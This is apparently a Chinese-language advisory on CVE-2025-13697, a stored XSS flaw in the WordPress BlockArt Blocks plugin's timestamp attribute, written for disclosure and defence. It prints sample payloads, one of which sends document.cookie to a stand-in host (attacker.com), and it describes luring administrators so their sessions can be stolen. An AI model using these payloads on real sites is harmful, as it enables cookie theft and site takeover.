CVE-2025-13697CVE-2025-13697是WordPress BlockArt Blocks插件中的一个存储型跨站脚本(XSS)漏洞。该插件是一款流行的Gutenberg块编辑器扩展插件,提供页面构建器块和模板库功能。漏洞源于插件对'timestamp'属性的输入验证和输出转义处理不当,攻击者可通过注入恶意JavaScript脚本实现持久化攻击。由于WordPress的权限设计,具有Contributor级别权限的认证用户即可利用此漏洞,无需管理员权限。攻击成功后,恶意脚本会在所有访问被注入页面的用户浏览器中执行,可能导致会话劫持、凭据窃取、恶意重定向等严重后果。此漏洞影响所有2.2.13及以下版本,建议用户立即升级到最新修复版本。
漏洞根源在于BlockArt Blocks插件的timestamp参数处理逻辑存在缺陷。当用户在块编辑器中创建或编辑内容时,timestamp值被直接存储到数据库而未经过严格的输入验证。在后续页面渲染过程中,该值被回显到HTML输出时缺少适当的输出转义处理。攻击者只需在timestamp属性中注入类似<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>的恶意代码。由于存储型XSS的特性,恶意脚本会被永久保存在数据库中,每当有用户访问包含该注入内容的页面时,脚本会自动执行。攻击者可结合社会工程学手段诱导管理员访问特定页面,从而窃取管理员会话cookie并进一步获取网站后台控制权限。CVSS 3.1评分6.4反映了该漏洞通过网络可利用、需要低权限认证、影响机密性和完整性但不影响可用性的特点。